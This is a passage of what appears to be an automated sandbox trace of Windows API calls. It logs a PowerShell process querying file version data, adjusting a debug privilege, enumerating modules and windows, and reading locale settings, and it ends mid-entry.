0x0 region_type = private name = "private_0x000000001cfd0000" filename = "" Region: id = 1533 start_va = 0x1d050000 end_va = 0x1d150fff entry_point = 0x0 region_type = private name = "private_0x000000001d050000" filename = "" Region: id = 1534 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1535 start_va = 0x7fefbf10000 end_va = 0x7fefc039fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 1536 start_va = 0x2b20000 end_va = 0x2b20fff entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 1537 start_va = 0x1d160000 end_va = 0x1d267fff entry_point = 0x0 region_type = private name = "private_0x000000001d160000" filename = "" Region: id = 1538 start_va = 0x2b30000 end_va = 0x2b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 1539 start_va = 0x7ff002b0000 end_va = 0x7ff002bffff entry_point = 0x0 region_type = private name = "private_0x000007ff002b0000" filename = "" Region: id = 1540 start_va = 0x1d270000 end_va = 0x1d36ffff entry_point = 0x0 region_type = private name = "private_0x000000001d270000" filename = "" Region: id = 1541 start_va = 0x7ff002c0000 end_va = 0x7ff002cffff entry_point = 0x0 region_type = private name = "private_0x000007ff002c0000" filename = "" Region: id = 1542 start_va = 0x7ff002d0000 end_va = 0x7ff002dffff entry_point = 0x0 region_type = private name = "private_0x000007ff002d0000" filename = "" Thread: id = 101 os_tid = 0xb60 [0094.064] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0094.894] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0094.894] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0094.894] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0094.894] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0096.945] GetVersionExW (in: lpVersionInformation=0x1ed860*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1ed860*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0097.014] GetVersionExW (in: lpVersionInformation=0x1ed5d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1ed5d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0097.015] SetErrorMode (uMode=0x1) returned 0x1 [0097.028] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1ed730 | out: lpFileInformation=0x1ed730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0097.030] SetErrorMode (uMode=0x1) returned 0x1 [0097.155] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1ed9a0 | out: lpdwHandle=0x1ed9a0) returned 0x94c [0097.168] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2e078c0 | out: lpData=0x2e078c0) returned 1 [0097.170] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ed918, puLen=0x1ed910 | out: lplpBuffer=0x1ed918*=0x2e0795c, puLen=0x1ed910) returned 1 [0097.173] lstrlenW (lpString="䅁") returned 1 [0097.269] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07a38, puLen=0x1ed880) returned 1 [0097.270] lstrlenW (lpString="Microsoft Corporation") returned 21 [0097.272] CoTaskMemAlloc (cb=0x2e) returned 0x4cc7a0 [0097.272] lstrcpyW (in: lpString1=0x4cc7a0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0097.274] CoTaskMemFree (pv=0x4cc7a0) [0097.274] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07a8c, puLen=0x1ed880) returned 1 [0097.274] lstrlenW (lpString="System.Management.Automation") returned 28 [0097.274] CoTaskMemAlloc (cb=0x3c) returned 0x4c50f0 [0097.274] lstrcpyW (in: lpString1=0x4c50f0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0097.274] CoTaskMemFree (pv=0x4c50f0) [0097.274] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07ae8, puLen=0x1ed880) returned 1 [0097.274] lstrlenW (lpString="6.1.7601.17514") returned 14 [0097.274] CoTaskMemAlloc (cb=0x20) returned 0x4cb110 [0097.274] lstrcpyW (in: lpString1=0x4cb110, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0097.274] CoTaskMemFree (pv=0x4cb110) [0097.274] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07b28, puLen=0x1ed880) returned 1 [0097.274] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0097.274] CoTaskMemAlloc (cb=0x44) returned 0x4c50f0 [0097.274] lstrcpyW (in: lpString1=0x4c50f0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0097.274] CoTaskMemFree (pv=0x4c50f0) [0097.274] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07b90, puLen=0x1ed880) returned 1 [0097.274] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0097.274] CoTaskMemAlloc (cb=0x76) returned 0x45f400 [0097.274] lstrcpyW (in: lpString1=0x45f400, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0097.274] CoTaskMemFree (pv=0x45f400) [0097.274] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07c2c, puLen=0x1ed880) returned 1 [0097.274] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0097.274] CoTaskMemAlloc (cb=0x44) returned 0x4c50f0 [0097.275] lstrcpyW (in: lpString1=0x4c50f0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0097.275] CoTaskMemFree (pv=0x4c50f0) [0097.275] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07c90, puLen=0x1ed880) returned 1 [0097.275] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0097.275] CoTaskMemAlloc (cb=0x58) returned 0x487320 [0097.275] lstrcpyW (in: lpString1=0x487320, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0097.275] CoTaskMemFree (pv=0x487320) [0097.275] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e07d0c, puLen=0x1ed880) returned 1 [0097.275] lstrlenW (lpString="6.1.7601.17514") returned 14 [0097.275] CoTaskMemAlloc (cb=0x20) returned 0x4cb110 [0097.275] lstrcpyW (in: lpString1=0x4cb110, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0097.275] CoTaskMemFree (pv=0x4cb110) [0097.275] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x2e079b4, puLen=0x1ed880) returned 1 [0097.275] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0097.275] CoTaskMemAlloc (cb=0x66) returned 0x4c9990 [0097.275] lstrcpyW (in: lpString1=0x4c9990, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0097.275] CoTaskMemFree (pv=0x4c9990) [0097.275] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x0, puLen=0x1ed880) returned 0 [0097.275] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x0, puLen=0x1ed880) returned 0 [0097.275] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1ed888, puLen=0x1ed880 | out: lplpBuffer=0x1ed888*=0x0, puLen=0x1ed880) returned 0 [0097.275] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ed858, puLen=0x1ed850 | out: lplpBuffer=0x1ed858*=0x2e0795c, puLen=0x1ed850) returned 1 [0097.289] CoTaskMemAlloc (cb=0x204) returned 0x466800 [0097.289] VerLanguageNameW (in: wLang=0x0, szLang=0x466800, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0097.290] CoTaskMemFree (pv=0x466800) [0097.291] VerQueryValueW (in: pBlock=0x2e078c0, lpSubBlock="\\", lplpBuffer=0x1ed8a8, puLen=0x1ed8a0 | out: lplpBuffer=0x1ed8a8*=0x2e078e8, puLen=0x1ed8a0) returned 1 [0097.330] GetCurrentProcessId () returned 0xb5c [0097.584] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1ec7d0 | out: lpLuid=0x1ec7d0*(LowPart=0x14, HighPart=0)) returned 1 [0097.586] GetCurrentProcess () returned 0xffffffffffffffff [0097.587] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1ec7f0 | out: TokenHandle=0x1ec7f0*=0x2f0) returned 1 [0097.589] AdjustTokenPrivileges (in: TokenHandle=0x2f0, DisableAllPrivileges=0, NewState=0x2e0b138*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0097.624] CloseHandle (hObject=0x2f0) returned 1 [0097.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb5c) returned 0x2f0 [0097.659] EnumProcessModules (in: hProcess=0x2f0, lphModule=0x2e0b1a0, cb=0x200, lpcbNeeded=0x1ed808 | out: lphModule=0x2e0b1a0, lpcbNeeded=0x1ed808) returned 1 [0097.663] GetModuleInformation (in: hProcess=0x2f0, hModule=0x13f140000, lpmodinfo=0x2e0b410, cb=0x18 | out: lpmodinfo=0x2e0b410*(lpBaseOfDll=0x13f140000, SizeOfImage=0x77000, EntryPoint=0x13f14c63c)) returned 1 [0097.664] CoTaskMemAlloc (cb=0x804) returned 0x4d9fd0 [0097.664] GetModuleBaseNameW (in: hProcess=0x2f0, hModule=0x13f140000, lpBaseName=0x4d9fd0, nSize=0x800 | out: lpBaseName="poWerSHell.exe") returned 0xe [0097.664] CoTaskMemFree (pv=0x4d9fd0) [0097.665] CoTaskMemAlloc (cb=0x804) returned 0x4d9fd0 [0097.665] GetModuleFileNameExW (in: hProcess=0x2f0, hModule=0x13f140000, lpFilename=0x4d9fd0, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0097.666] CoTaskMemFree (pv=0x4d9fd0) [0097.666] CloseHandle (hObject=0x2f0) returned 1 [0097.694] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb5c) returned 0x2f0 [0097.696] GetExitCodeProcess (in: hProcess=0x2f0, lpExitCode=0x1ed938 | out: lpExitCode=0x1ed938*=0x103) returned 1 [0097.700] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12e0b088, Length=0x20000, ResultLength=0x1ed900 | out: SystemInformation=0x12e0b088, ResultLength=0x1ed900*=0xe0f0) returned 0x0 [0097.733] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x6d4 [0097.733] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x32c [0097.734] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.734] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.735] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.735] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.735] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.735] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x3a0 [0097.735] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.735] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.735] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0x428 [0097.735] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x1ed660 | out: lpdwProcessId=0x1ed660) returned 0xb60 [0097.736] GetWindow (hWnd=0x20280, uCmd=0x4) returned 0x0 [0097.737] IsWindowVisible (hWnd=0x20280) returned 1 [0097.828] WerSetFlags () returned 0x0 [0098.626] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0098.626] CoTaskMemFree (pv=0x0) [0098.627] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1ed9c8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1ed9c0 | out: pulNumLanguages=0x1ed9c8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1ed9c0) returned 1 [0098.627] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1ed9c8, pwszLanguagesBuffer=0x2e2a518, pcchLanguagesBuffer=0x1ed9c0 | out: pulNumLanguages=0x1ed9c8, pwszLanguagesBuffer=0x2e2a518, pcchLanguagesBuffer=0x1ed9c0) returned 1 [0098.883] CoTaskMemAlloc (cb=0x24) returned 0x4caf00 [0098.883] GetUserDefaultLocaleName (in: lpLocaleName=0x4caf00, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0098.883] CoTaskMemFree (pv=0x4caf00) [0098.950] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0098.950] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0098.950] CoTaskMemFree (pv=0x41e390) [0098.979] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0098.979] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0098.979] CoTaskMemFree (pv=0x41e390) [0098.985] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0098.985] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0098.985] CoTaskMemFree (pv=0x41e390) [0099.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ed390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ed430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.126] SetErrorMode (uMode=0x1) returned 0x1 [0099.127] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1ed640 | out: lpFileInformation=0x1ed640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0099.127] SetErrorMode (uMode=0x1) returned 0x1 [0099.127] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1ed8b0 | out: lpdwHandle=0x1ed8b0) returned 0x94c [0099.128] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2e2dda8 | out: lpData=0x2e2dda8) returned 1 [0099.129] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ed828, puLen=0x1ed820 | out: lplpBuffer=0x1ed828*=0x2e2de44, puLen=0x1ed820) returned 1 [0099.129] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2df20, puLen=0x1ed790) returned 1 [0099.129] lstrlenW (lpString="Microsoft Corporation") returned 21 [0099.129] CoTaskMemAlloc (cb=0x2e) returned 0x4ddc60 [0099.129] lstrcpyW (in: lpString1=0x4ddc60, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0099.129] CoTaskMemFree (pv=0x4ddc60) [0099.129] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2df74, puLen=0x1ed790) returned 1 [0099.129] lstrlenW (lpString="System.Management.Automation") returned 28 [0099.129] CoTaskMemAlloc (cb=0x3c) returned 0x4da460 [0099.129] lstrcpyW (in: lpString1=0x4da460, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0099.129] CoTaskMemFree (pv=0x4da460) [0099.129] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2dfd0, puLen=0x1ed790) returned 1 [0099.129] lstrlenW (lpString="6.1.7601.17514") returned 14 [0099.129] CoTaskMemAlloc (cb=0x20) returned 0x4d3430 [0099.129] lstrcpyW (in: lpString1=0x4d3430, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0099.129] CoTaskMemFree (pv=0x4d3430) [0099.129] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2e010, puLen=0x1ed790) returned 1 [0099.130] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0099.130] CoTaskMemAlloc (cb=0x44) returned 0x4da460 [0099.130] lstrcpyW (in: lpString1=0x4da460, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0099.130] CoTaskMemFree (pv=0x4da460) [0099.130] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2e078, puLen=0x1ed790) returned 1 [0099.130] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0099.130] CoTaskMemAlloc (cb=0x76) returned 0x45f400 [0099.130] lstrcpyW (in: lpString1=0x45f400, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0099.130] CoTaskMemFree (pv=0x45f400) [0099.130] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2e114, puLen=0x1ed790) returned 1 [0099.130] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0099.130] CoTaskMemAlloc (cb=0x44) returned 0x4da460 [0099.130] lstrcpyW (in: lpString1=0x4da460, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0099.130] CoTaskMemFree (pv=0x4da460) [0099.130] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2e178, puLen=0x1ed790) returned 1 [0099.130] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0099.130] CoTaskMemAlloc (cb=0x58) returned 0x487260 [0099.130] lstrcpyW (in: lpString1=0x487260, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0099.130] CoTaskMemFree (pv=0x487260) [0099.130] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2e1f4, puLen=0x1ed790) returned 1 [0099.130] lstrlenW (lpString="6.1.7601.17514") returned 14 [0099.130] CoTaskMemAlloc (cb=0x20) returned 0x4d3430 [0099.130] lstrcpyW (in: lpString1=0x4d3430, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0099.130] CoTaskMemFree (pv=0x4d3430) [0099.130] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x2e2de9c, puLen=0x1ed790) returned 1 [0099.130] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0099.130] CoTaskMemAlloc (cb=0x66) returned 0x4c9ca0 [0099.130] lstrcpyW (in: lpString1=0x4c9ca0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0099.130] CoTaskMemFree (pv=0x4c9ca0) [0099.130] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x0, puLen=0x1ed790) returned 0 [0099.131] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x0, puLen=0x1ed790) returned 0 [0099.131] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1ed798, puLen=0x1ed790 | out: lplpBuffer=0x1ed798*=0x0, puLen=0x1ed790) returned 0 [0099.131] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ed768, puLen=0x1ed760 | out: lplpBuffer=0x1ed768*=0x2e2de44, puLen=0x1ed760) returned 1 [0099.131] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0099.131] VerLanguageNameW (in: wLang=0x0, szLang=0x4665f0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0099.131] CoTaskMemFree (pv=0x4665f0) [0099.131] VerQueryValueW (in: pBlock=0x2e2dda8, lpSubBlock="\\", lplpBuffer=0x1ed7b8, puLen=0x1ed7b0 | out: 